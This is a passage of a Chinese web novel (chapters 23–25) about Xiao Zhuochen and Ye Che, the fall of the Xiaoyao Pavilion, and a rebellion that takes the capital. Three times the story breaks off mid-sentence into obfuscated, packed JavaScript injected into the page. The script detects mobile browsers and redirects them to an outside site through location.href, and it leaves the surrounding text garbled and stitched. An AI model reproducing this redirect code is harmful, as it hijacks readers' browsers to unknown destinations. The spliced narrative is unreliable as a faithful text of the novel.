王天放被他戳破也不意外,只干脆坐在了门廊边:“那我们就这么说,你也放心,我也放心。” 说着他神色渐渐严肃:“萧大人,我想用司空仓的性命,换阁主令。” 23. 等待进入网审 用司空仓的命,换一个还不知道在哪的阁主令,王天放在说出这个要求时是抱着萧灼尘更看重司空仓这条命的心态来的。 萧灼尘眼都没抬,只吩咐人继续去搜,见院里官兵们领命离开才转向和尚的方向:“你为什么会觉得,我想要司空仓的命?” 王天放坦然道:“萧大人在沣水城的事迹在下也有耳闻,那位臭名昭著的州刺史大人被押送上京的事想来也有你的手笔,听说那人死前透露了不少,如今你不在京城却在这里出现,若不是为司空仓来的,便是为阁主令,我说的对吗?” “是吗?”萧灼尘冷笑道,“你知道的倒是挺多,说起来你们什么时候勾搭上逍遥阁的?” 和尚坐得安稳,转手盘起手里的佛珠:“萧大人,你的陛下昏庸暴戾,你的公主自私奢侈,为他们取阁主令,让百姓处在水深火热中,真的是你乐于见到的吗?” 萧灼尘踱步向前,面露不屑:“逍遥阁势力重在关中地区,赵观航是想攻下关中,占据兵粮重心?镇守关中的宋文礼将军是陛下亲信,骁勇善战,直攻难进,你们若是一分为三,借着阁主令从侧翼包围再进城确实还有几分胜算,只不过既起战乱,百姓也难熬,花青戈有句话说得对,你又何必假慈悲。” 他言辞间虽都是讥讽,叶澈却听得直犯嘀咕,这人话里话外倒像是在跟人分享交战重点。 不等和尚有所反应,萧灼尘又继续道:“把我的人送回来,至于司空仓和阁主令,有本事你就拿走。” 王天放似乎对他的回答早有准备,也不再纠缠,起身就想离开:“司空影已经送那位公子和小姐回客栈,贫僧劝萧大人一句,这里不宜久留。” 萧灼尘抬腿踢剑,接过剑柄的瞬间已经刺向这人,动手拦道:“那道长不如展开说说为何不能久留。” 王天放被他突然的出招逼退,面色却不愠,还是一副和颜悦色的作派:“萧灼尘,你们能从符山活着回来不易,别浪费时间。” 司空苍借着鉴宝一事做了个局,又以阁主令的名义将人骗到此处,萧灼尘不在乎逍遥阁与赵观航的勾结,可既然故意翻出锦王案来给他看,就别指望着能这么轻易脱身。 那两人打得激烈,棠溪护着叶澈往外走,惊道:“司空府就是逍遥阁的人?难怪他们这么有钱搞些花里胡哨的机关。” 叶澈盯着那边没说话,赖凤时已经说:“也不知道这和尚是不是在诓人,我带点人回客栈看看,那边只有苗若歌在。” 时间紧迫,分头行动最好,叶澈点头:“我在这等他。” 棠溪狐疑看他,待人走了才神情复杂地开口:“你不会喜欢他到就此叛出我银钩门了吧?” “他敢”,石忘忧狠狠剜他一眼,积极表忠心,“我永远不会背叛你,棠溪,他要是对银钩门有二心我就替你宰了他。” 叶澈哭笑不得:“胡说八道,这种时候你们能不能正经点。” 棠溪正经道:“你也知道这种时候,这种混乱的情况下,你不想着跟我去府里搜刮一下有没有遗漏的金银,只想着等男人,我的担心完全有道理。” 石忘忧跟着骂他:“就是,那和尚打不过他,你以为他是你,废物。” 棠溪怒目转向身边人:“你骂他干什么。” 石忘忧:“你又偏护他!” 时间似乎回到只有他们仨相处的日常,多亏这两人莫名的争吵,叶澈默默闭上嘴,分出心思眺望屋外两人的缠斗。 王天放下山后态度大变,什么叫“从符山活着回来不易”?司空府设局是为了杀了这些人,最后却只有那位姓李的是死在他们手下,花青戈都是意外坠崖,叶澈觉得不对,这些人一直就知道萧灼尘的身份,花青戈等着机会想杀他,王天放是在刺杀失败后才突然跳出来,那司空府的人呢? 叶澈喃喃自语:“阁主令不会轻易丢失,司空府是故意放出消息招揽过来那些想要争金夺银的人,他们杀了旧案相关的人,无论阁主令落到谁手里,都会引起纷争。”落在王天放手里,起义军的势力会越发猖獗,颠覆朝廷只是时间问题。 若是落在萧灼尘手里,那些旧案或多或少与他相关,公主与陛下的党争本就混乱,就算他什么都不做,有心人士也能借机翻出旧案,吵个天昏地暗,逍遥阁本就与朝廷有着千丝万缕的关系,朝廷先乱,到时阁主令在逍遥阁的作用怕是微乎其微。 逍遥阁这是在自断力量,叶澈心惊,无论策划之人所求为何,他可以确定,司空仓必然已经出事,至少已经无法控制逍遥阁,才只能任由这一切发生。 “啪” 屋外萧灼尘剑已抵上王天放心口,他居高临下看过去:“王天放,把锦王的案子翻出来,是你给司空家的谋划?” 赵观航占据的城池,以“柔政利民”博取口碑为主,翻不翻案对于他们来说都没有太大用处,但若是能以这件事争取到萧灼尘为内应,或许攻去京城的路会更容易些,王天放念头间已有打算,他就地盘坐,一脸泰然:“我还是比较喜欢听人叫我法号若失,萧大人,你如果想翻案,我可以替你去向将军说说。” 屋里叶澈听见声响正要出门,却觉得屋里的琉璃和铜镜让人恍神,他们之前只是从前厅经过,这会在这屋里多待了会才发现屋外的景色和几人的身影全都透过琉璃照在铜镜里,他换了不同方向都能清楚看到萧灼尘剑指王天放的模样。 棠溪见他突然在屋里走来走去,奇怪问道:“怎么了?” 叶澈指着镜子里的水缸道:“我不记得外面有这个,你在这看着,我出去找找,等会若是看到我出现在这面镜子里就喊一声。” 假山怪石,园中小径,屋外紧张的气氛被叶澈大咧咧的转悠搅乱,王天放看着他在园中来来回回,忍不住转移注意力问他:“叶公子在找什么?” 流水潺潺,叶澈刚靠近水边就听棠溪的声音传来:“现在有。” 这里?叶澈环顾一圈,园中的池水清澈见底,就是半点不见水缸的影子,这园子里根本没水缸,那屋中镜子里的水缸又是怎么回事?他蹲下沿着边缘处细细摸索。 萧灼尘扫他一眼便收回目光,叶澈不做无用功,想来是有其他发现,他手下轻轻用力:“我的问题,有答案了吗?” 崭新的僧袍被锋利的剑压出痕,隐隐有刺破的迹象,王天王背靠廊柱,无奈道:“萧大人,我是将军的人,来这确实别有所图,但这锦王的老案子,对我们将军来说不好用,如今的局势,快刀斩乱麻会更合适,我没必要给司空家出这种谋划。” 话音未落,只听身后传来叶澈的惊呼,萧灼尘见他身形一歪,似乎要栽进池中,也顾不上和尚,急忙飞身去捞人,背后却似乎压过来无法推开的重力,滞拉住他向前的身形,这是机关术的气流影响到他,萧灼尘慢了一步,眼睁睁看着叶澈往下坠。 萧灼尘站在池边看着脚边裂开的缝隙,二话不说跟着跳了下去。 叶澈落在水缸边摔了个屁股墩,他就像是从前堂的房间不小心摔了一跤,跌到了这个花园里,司空府竟然用机关术开凿了个地下花园,除了他站立的这方位置,周边有几个一人高的肠道,冷风直灌,带着肠道里腐烂的臭味,吹得人通体发凉。 有人扳过他的身体,关切问道:“没事吧?” 萧灼尘的脸映入眼中,叶澈这才出声:“这里面有腐尸。” 见他并未受伤,萧灼尘才放心看向那阴森的肠道,不大的空间却被凿出了六个方向的小路,腐尸的味道浓烈,他们都不需要靠近便清楚分辨出是从哪个方向吹来的臭味。 萧灼尘看着这里的陈设,水缸里没有水,只有不同大小的木桶搭成了小屋状,锯齿状的链条在其中缓慢滚动,带动着一捆小小卷轴,在屋顶上来回巡视,他伸手拿出东西,链条卡顿了一下,便又继续滚动。 棠溪和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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萧灼尘:“他能解阵,在山上时和花青戈联手对付我们的话,我未必会赢。”带着一个不会武功的叶澈,萧灼尘没有十足的把握能全身而退。 叶澈陷入沉默,半天才问了个毫不相关的问题:“符山上真的有黄金脉吗?” 萧灼尘迟疑片刻:“以前有,四年前已枯竭,公主想要阁主令也是为了再找一处金矿,现在山脉被毁,应该彻底没有了。” 叶澈:“炸山是为了掩盖这件事?” 萧灼尘:“只是为了杀我们,那些火药的量准备得太多,我确实是想看看他们会不会炸山才故意放任,你信我吗?” 按理说这么多事发生后叶澈不该再信这人,他总是说七分留三分,可看着这人眼都不眨的认真表情,叶澈半信半疑,只是忍不住说:“萧灼尘,你的心思太重,就算这次我信你,你一直执着找银钩门的门主又是为何?你明明是公主的人,却从没真正站在她那边,就连遇到赵观航的人,你也没赶尽杀绝,你到底想做什么?” 萧灼尘垂了眼眸:“我回京后便告诉你,到时候你就明白。” 见他又是闭口不言的样子,叶澈叹口气:“行,别让我等太久,你知道我们这种江湖门派,四海为家,时间久了,你就找不到我。” 萧灼尘没想到他就这么接受他的推脱之词,时候未到,他压制住想要全盘托出的心思,轻轻笑道:“好,不会让你等太久。” 司空府的地下机关比想象得多,除了叶澈他们发现的这处空间,官兵们掘地挖洞也找到了地下房间,他们当初居住的住所几乎都有暗室,堆放着逍遥阁与朝廷中人来往的密信与账目明细,看上去逍遥阁是彻底与当今朝廷划清界限。 地底的那具尸体已经有些白骨化,这人似乎是行动不便后活活饿死的,看衣着打扮大概就是司空仓,萧灼尘看过后便问:“赖凤时还没从客栈回来?” 叶澈摇头:“也没送口信过来。” 萧灼尘翻身上马:“走,我们去会会司空影。” 24. 等待进入网审 叶澈在司空府发现不对劲时,赖凤时刚回到客栈附近,远远看见门前停了辆黑漆镀金的马车,他领着人冲上楼,就见已经跟人喝完半盅茶的苗若歌朝他点头示意:“他们没事。” 还真是将人送回来了,赖凤时走到他身边坐下,看着对面遮着半张脸的面具男人,平息着呼吸问道:“司空影?” 司空影没搭理他,只是哑着声音看向苗若歌:“苗大人考虑得怎么样?” 官兵们将整间客栈围得紧,连只蚊子都难飞出去,赖凤时却觉得精神紧绷,不明白这人在打什么哑谜。 苗若歌没说话,赖凤时冷哼一声:“原来逍遥阁都是些宵小之辈,只会背地里做些见不得人的事。” 司空影这才看他:“你不用激我,想问什么便直接说。” 轰然一声,符山方向传来巨响,赖凤时脸色微变:“你们怎么点燃的火药?”他们派人把守着山脚附近,若是有人上山点火,不可能不被发现。 司空影轻啜手里的茶,面带微笑:“是你们的人发现了引信,我的人只是扔了火把。” 符山有一处黄金脉,多年前被意外发现后便被逍遥阁暗中看管起来,司空影自从知道那处的存在后,便有炸掉山脉,毁了这群贪心之人的念头。 为了稳当的与朝廷官员们相互交易,司空府地下几乎被掏空,机关叠机关,他在逍遥阁蛰伏十多年,一步步取得司空仓那老头的信任,这十年他明里暗里借着地道往符山送过不少火药,这次故意被司空影发现的不过是九牛一毛,他们全搬走都不会影响他炸了这座山。 符山黄金脉被毁,司空府被掘,朝廷中人关于阁主令和财宝的争夺想必又会掀起新的风浪,到时候狗咬狗,掀了这粉饰太平的世道,和尚说得对,这比直接杀了这几人更大快人心,想到这些司空影心情都很好。 忽然有人破窗而入,直冲他胸前袭来,即将碰到他的瞬间,那人反手袭向脸上,摘了他的面具,司空影躲闪不及,只条件反射地捂着心口往后退,事发突然,赖凤时也被这意外的袭击惊到,待看清来人身形才停下叫人的冲动,只带着苗若歌往旁边躲开。 见司空影露出姣好的面容,萧灼尘扔掉手里的面具:“你果然是女人。” 司空影也恼怒抽出袖刀,嘶哑着声音刺过来:“你果然该死。” 她连刀带拳狠攻,打起来颇有种不要命的架势,萧灼尘无意伤她,只避不躲,竟也一时无法将人制服。 叶澈慢半步赶上楼,见到的便是冷静后停下来的司空影和一片狼藉,屋里连个完整的茶具都找不出。 在符山寻宝时,司空府给的线索几乎都与朝廷有关,看得出出题人怨恨当今局势,恨达官显贵们的高高在上,恨不能将那些欺人的嘴脸露个干净。 还有司空仓,他是被人打断了双腿困在地下,像是仇杀,又像是身边人篡位,可惜司空府的下人几乎不能言语,没能问出太多有用的消息,倒是棠溪在地下发现了一些女人的东西。 那个害死司空仓,又刻意将逍遥阁暴露在所有人面前的人,难道是个女人? 可他们入府以后没见过女人,想来想去,最有可能的人便是神龙见首不见尾的司空影。 叶澈看着随手扫开碎片顺势坐下的司空影,这人雌雄莫辨,动作粗放,声音大约是中过毒,有种怪异的嘶哑,都不需要刻意变化,面容上的秀气被面具遮掩,让他和萧灼尘都没在第一时间看出来她的伪装。 这人心计与手段都不容小觑,叶澈捡起面具递给她:“姑娘怎么称呼?” 司空影瞥他一眼,嘲笑道:“怎么,知道我是女的,过往不究?” “误会”,叶澈坦然道,“只是姑娘有心在此等我们,想来是有话要说,在下银钩门叶澈,姑娘怎么称呼?” 面对戒心极强的人,适当的坦诚算是无伤大雅的示好,叶澈紧盯着面前人,司空影冷笑:“以前无名无姓,以后就叫司空影。” 她被卖进司空府后就被赐了这个名字,司空仓将赐名看做莫大的殊荣,嘱咐她要像个影子般懂事,呼之则来挥之则去,她偏偏不如那老狗的意,以后她要顶着这个名字,让所有人都知道,是她司空影,亲手杀了那老东西,毁了逍遥阁。 半天没出声的萧灼尘这才接话问:“你是沣水城的人?” 花青戈是被故意放进府来杀他,炸山的动静能传到司空府,火药的数量可能比他们查到的还要多,若不是司空影放弃杀他的机会,当时在山上的人,不死也残。 司空影没有否认:“你杀了尹源那狗东西,算是救了自己一命,我留在这里是为了告诉你们,除了符山的火药,我还在别的地方也埋了火药,今夜过后我会带着我的人离开这里,你们要是不打算放过我们,那就一起死,我也划算。” 她说话透着疯气,嘶哑的声音有些喘,却也听得出挑衅。 萧灼尘神色不变,索性坐下:“你觉得赵观航来做这个皇帝,天下会更好吗?” 周围陷入安静,叶澈看了眼屋里的人,似乎没有人觉得这话大不敬,连苗若歌都只是望了眼萧灼尘便又收回目光。 司空影怪笑道:“有什么分别,如今盗匪横行,农田荒废,你们这群人在朝廷上斗得厉害,他割据势力自立为王,都是为了自己,我不在乎狗皇帝的位置谁来坐,不过非要选的话,赵观航应该好点。” 赖凤时怒道:“那你让苗大人考虑什么!”这女人疯里疯气,自己都拿不准的事,还敢来劝说苗若歌去投奔。 司空影冷眼旁观:“你这么激动,是也想去?” 不等在场的人再说话,楼外的传来马蹄声,萧灼尘看过去,微微皱眉:“好像是公主的人。” 司空影跳下椅子,又重新戴好面具:“各位,后会无期。” 赖凤时想拦下她,苗若歌已经拉住他:“我不会跟她走。” 赖凤时气道:“我管你走不走。”话虽如此,却是没有再动。 “影姑娘,阁主令,你给若失道长了吗?” 叶澈的声音追来,司空影往外的脚步不停,随意道:“给了,反正逍遥阁已经没有钱,趁着那东西还能有点用给出去多好。” 有了阁主令,赵观航的人就能轻易出入重要的商业路线,攻入京城只是早晚的事。 萧灼尘闻言动都不动,倒真是一副丝毫不在意的模样,叶澈心中叹气,见苗若歌拽着赖凤时走了才跟着萧灼尘的目光看向窗外,那支骑队已经越来越近,他听见萧灼尘开口:“这是公主紧急情况才会调用的人,京城应该出事了。” 叶澈想起若失的话:“道长说这里不宜久留,他拿到了想要的东西,赵观航很快就会有动作,你……回京后要小心。” 萧灼尘回脸看他,突然笑道:“叶澈,你说我是不是也应该去投奔赵观航?司空影说得对,如今局势混乱,战火不断,我的坚持只会让这种混乱的时间更长。” 有他在,赵观航没那么轻易攻进京城。 叶澈也笑:“我说过,不想在朝廷混了就来找我,不管我是不是门主,这种小事我还是能说得上话的。” 他看出这人也想要变一变这局势,这人不愿继续做人的刀,只是公主恩情在上,无法彻底放手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680900|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧灼尘笑得淡然:“也是,你说过要保护我的。” 这世上想要他命的人很多,要保护他的,从始至终,都只有一个人。 来的人马是公主亲信,季德也在其中,看见叶澈时他顿了一瞬,便急忙对萧灼尘说道:“传公主口谕,升大理寺卿萧灼尘为刑部尚书,即刻返京赴任。如今江南、关中、淮南、岭南多地同时起义,公主令你肃清周边叛军,护卫皇城。” 萧灼尘领令上马,他看向站立在旁的那人,他还来不及细看这人和小时候有什么变化,就又要匆匆分开,此去一别也不知道还有没有机会再见。 明知季德的视线停留在两人身上,萧灼尘还是弯腰低声嘱咐:“你也小心,做该做的。” 叶澈连连点头,只以为这人是再求一次承诺,便说:“放心,我会好好混,到时候带你混,决不食言。” 萧灼尘嘴角闪过笑意,收敛情绪扬鞭策马,季德一行人跟在他身后浩荡离去。 奔赴千里却只看了场逍遥阁的散场戏,江湖已乱,朝局不稳,叶澈在短暂的不安过后便冷静下来,乱世难安稳,银钩门的情报还派得上用处,赵观航是最有民望的起义军,其他地区的起义军里也有才能之辈。 情报尚能换钱,只是会变得更危险,也更不容易挣到钱,叶澈和棠溪合计过后,决定先放下找金银的路,分开去混乱的中心,择机而动。 在他们准备离开霍都前,赖凤时找上了他,叶澈看着整理好的情报,全都是这些年萧灼尘为公主卖命杀人的证据,这种时候传出这些东西,百姓们对当今朝廷的怨恨更深,甚至可能集中到萧灼尘一人身上,赵观航的胜算便多一分。 叶澈总算明白那人总不说透的话是什么,也终于知道那句“做该做的”意在何处,他难得怒火中烧:“他这是把我们银钩门当什么了!用这些东西造势,让起义军的气焰更猛,这就是你那位好大人想的法子吗?他成为众矢之的之后想做什么,以命还命?有病!” 正恹着情绪的赖凤时也被他骂得来了精神,附和道:“就是!我劝他好多次,他就是个死心眼,公主对他是有恩,但也不是这么个报答法。且不说那些被杀之人十有八九都不是好人,但凡能救的,我们都救了,那个董阳,要不是我们故意提醒,他哪能顺利逃出京城,还加入南方的起义军。” 提到董阳,赖凤时又想起已经离开的苗若歌,情绪便降了下去。 苗若歌不跟司空影走,却也不愿意再跟着他,那人走就走,偏偏还用大道理来噎他,“你说我这一生太顺利,要真正走进这世道看看,你说得对,我得亲自看看。”那人走时说的话还在脑海中回荡,赖凤时闹心得很,自己什么时候说过这种酸话,明明就是那人养好了身体,忘恩负义跑了。 赖凤时心中腹诽:“白眼狼。”转瞬又有些担心这人太轴,若是路遇不公,也不知道会不会跟人起争执被欺负。 他打起精神,看向面前几人:“总之东西我已经给你们,用不用你们自己决定,我得赶回京城。” “用个屁。”叶澈气极,一把推开眼前的东西,眼不见为净。 棠溪倒是认真看了个遍,盘算了半天才拍案喊道:“最近的几份名单就是幻音坊杀的人,我就知道,你们是一伙的。” 叶澈毫不意外地看了眼递过来的名单,合着只有他们银钩门是最干净的江湖门派,一个两个都是朝廷的走狗! 愤怒之余想到自己将幻音坊也都骂了个遍,叶澈盛怒的情绪慢下来,萧灼尘留下这些东西,这人回京城难道不为求生?叶澈暗骂一句,恶狠狠转向赖凤时:“我跟你一起去京城。” 25. 后来 月初,赵观航率部南下,经关中地区,占据东丰粮仓,切断了京城与外部的联系,后以轻兵挑诱宋文礼将军出迎,赵观航与其正面交锋,部下以精骑迂回攻其侧翼,在城下斩杀宋文礼后,又率大军自临水西行,从东面压迫京城,与北上起义军形成合围之势。 为此京城戒严,不出不进,百姓们明显感到街上巡视人员变得更多了,叶澈在深宫中对此无知无觉,因为他和赖凤时刚进城,就被公主派来的人以邀请的名义接走了。 长乐公主宇文烟面容轮廓柔和,举止端庄优雅,跟他说话时也总是一副温暖亲切的模样,只是说出的话冰冷无情:“本宫听季德提过你,之前本宫还不信阿尘在意你,可你进我这宫里以来,他来找过本宫三回,你可知道,这几年就算是本宫召见,他都是能推则推,孩子大了,有自己的想法,总是躲着本宫,实在是令人心寒,也不知究竟投靠了谁。” 又是这个季德,每次遇到他总没好事,叶澈按下心中焦虑,他被公主软禁的这几天也算弄明白,萧灼尘近两年给公主办的事总会出纰漏,不是人跑了,就是还没送到公主面前就已经归西,宇文烟早就疑心萧灼尘有二心,这次阁主令没拿回来,愈发坐实了她的怀疑。 如今兵临城下,宇文烟也不再遮掩心思,抓叶澈是顺手,她更想弄清楚萧灼尘是投靠了赵观航,还是那无用的陛下宇文煜。 只是怎么逼问都没有结果,宇文烟拈过一颗剥好的桂圆放进嘴里,半闭着眼说道:“本宫和陛下争夺多年,如今看来却是要便宜他人,实在是可笑。” 宇文烟似乎并不在意叶澈,只是自顾自说着话,叶澈见她反常,这才开口:“京城守不住了?” 塌上的人闻言抬眼看过来:“倒也不是个蠢货,你猜猜看,萧大人还能为本宫守几日?不对,应该说,他还会再做几天戏?” 叶澈听得难受,他忍不住打断她:“萧大人说过,您救过他,他很尊敬您。” “是吗?”宇文烟冷道,“那如果没有救命之恩,你觉得他还会站在本宫这边?” 即便有救命之恩,萧灼尘也没有跟你站一条线过,叶澈在心中反驳,又觉得她这话说得奇怪,救命之恩难道还能有假? 萧灼尘从没想过,所谓的恩情,从开始便是虚假。 回京当晚,萧灼尘进宫复命时提到了花青戈,他捏造了自己认出这人就是当年从火海里逃生的竹青,以此向季德发难,要砍了他的脑袋以慰问逝者。 公主不允:“季德在你身边服侍这么多年,没有功劳也有苦劳,这不知道从哪里跑出来的人说是那小孩你就信,阿尘,你什么时候变得这么蠢!” 萧灼尘不依不饶:“公主,季德为保自身富贵,在您面前独享救我之功,当年连那么小的孩子都不放过,足可见其心性恶劣,我不敢信他。” “够了”,公主大发雷霆,“萧灼尘,季德是本宫给你用的,他是什么样的人本宫清楚,既然主仆有隙,本宫把他收回来就是。” 叶澈告诉过他,失火那晚他被人锁在房间,季德也曾亲口说过他在客栈刚起火时便带着人离开,奈何找不到竹青才不得不先走一步,要不是叶澈的身份被人道破,萧灼尘从未怀疑过那把火是季德放的。 季德是公主的人,当年所谓的追兵,或许根本就是一场自导自演的笑话,萧家覆灭,连带宇文家的没落,只得他这个亲王之子还有些用途,萧灼尘看着面前为了季德甚至快与他翻脸的人,这位他敬重多年,愿意以命还之的救命恩人,心中满是悲凉。 原来所有的恩情,从一开始就是费尽心思的算计。 “殿下,萧大人求见。” 屋外传来下人的禀报,宇文烟:“带进来。” 居然会不避着他就召见,叶澈有些意外,宇文烟似乎看破他的心思,嘲弄道:“别高兴得太早,本宫可没打算放了你。” 说话间萧灼尘已经推门而入,这是分别后第一次再见,叶澈总觉得那人又回到了一副冷面阴郁的模样,就见萧灼尘对他轻轻扯了扯嘴角,跪下行礼:“微臣参加公主。” 宇文烟没叫人起身,只是面带微笑:“阿尘,叶澈说你敬本宫,可如今赵观航的兵马都快打进来,你就是这么做事的吗?” 萧灼尘埋首叩头:“臣护卫不利,请公主放心,臣会做公主最后一道城墙。” “这就是你跟赵观航的交易吗?”宇文烟显然不信他的话,“你帮着他们进城,留本宫的命?” 萧灼尘头都不抬:“公主,臣未曾做过任何交易。” 宇文烟猛地挥袖,扫过桌面的果盘酒具,丁零当啷掉落一地:“撒谎!赵观航带轻兵走的全是逍遥阁的暗道,要不是你故意懈怠,他的人怎么可能从你手上抢走阁主令。” 不等人再做反应,宇文烟又缓了语气:“也罢,终归是一场空,本宫用不上你,倒是这位叶公子,我看着也俊俏,适合跟我在黄泉路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694366|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做个伴,来人。” 门外守卫闻声而动,叶澈在宇文烟说话瞬间飞扑上前,用金簪抵住了她的脖子,当初萧灼尘走得匆忙,他没来得及将金簪还给他,没想到在这种时候用上了。 “叶澈”,萧灼尘想要起身制止,又放下腿直板板跪下去,看向公主道,“公主,您信也好,不信也罢,若是想要我的命,您拿走便是,我不会让赵观航越过我伤害您,至于叶澈,他是江湖人,放他走吧。” 破城在即,公主身边已无能用之人,萧灼尘悲哀发现,即便恩情是假,这些年真真假假的照顾和关怀掺和在一起,他也没法放任宇文烟不管。 叶澈怒道:“萧灼尘,你是真的想死吗!” 金簪利刃相抵,叶澈突然感觉到手下人往刀刃方向撞,来不及收手就听“噗呲”一声,宇文烟竟借他的手撞向利刃,刀入体内,惊得叶澈颤巍巍松开手,宇文烟伸手拔刀,脖颈处的鲜血奔涌而出,她缓缓靠回身后的软榻,看着跪在面前的人笑得凄凉:“蠢货,本宫的命,本宫说了算。” 变故生得突然,屋内众人呆立片刻,守卫们忽然提刀朝两人冲来,萧灼尘跃然而起,夺过长枪横扫一片,揽着叶澈就往外跑。 叶澈有些恍神,不是要拉他陪葬?不是要杀他们?怎么自己先寻了死路?他捏住身边人的衣裳,不确定的问:“她是故意的?”故意在萧灼尘面前说那些话?故意让他胁持她? 感受着身边人的温度,萧灼尘不自觉收拢了手,他心中的骇然不比叶澈少,既然有心利用他,为何不一条黑走到底?他眉头紧锁,眼睛有些疼,萧灼尘眨了眨眼才说:“赵观航会趁夜破城,你看着机会走。” 身后追兵零散,两人出了宫城后便无人再跟,叶澈脚步慢下来:“你不跟我一起走?” “我……”萧灼尘声音一顿,反应过来他已经不需要留在这里保护他人,再开口时眼中滚烫,“她是故意的,想给我生路。” 是夜,赵观航攻入京城,发现长乐公主被刺杀于宫中,文帝趁乱逃往霍都方向,途中欲修治宫殿引发不满,卫队将领与朝臣共谋叛变,缢死文帝于寝殿上,次月遇害消息传到京城,五月赵观航即位,改国号建兴。 建兴帝占据北方兵粮重心,与各方势力成相互割据之势,天下常有动乱发生。 江湖门派银钩门与幻音坊趁乱势力大涨,成为各地力量拉拢对象,然门派众人较多,难以分辨主事之人,终不了了之。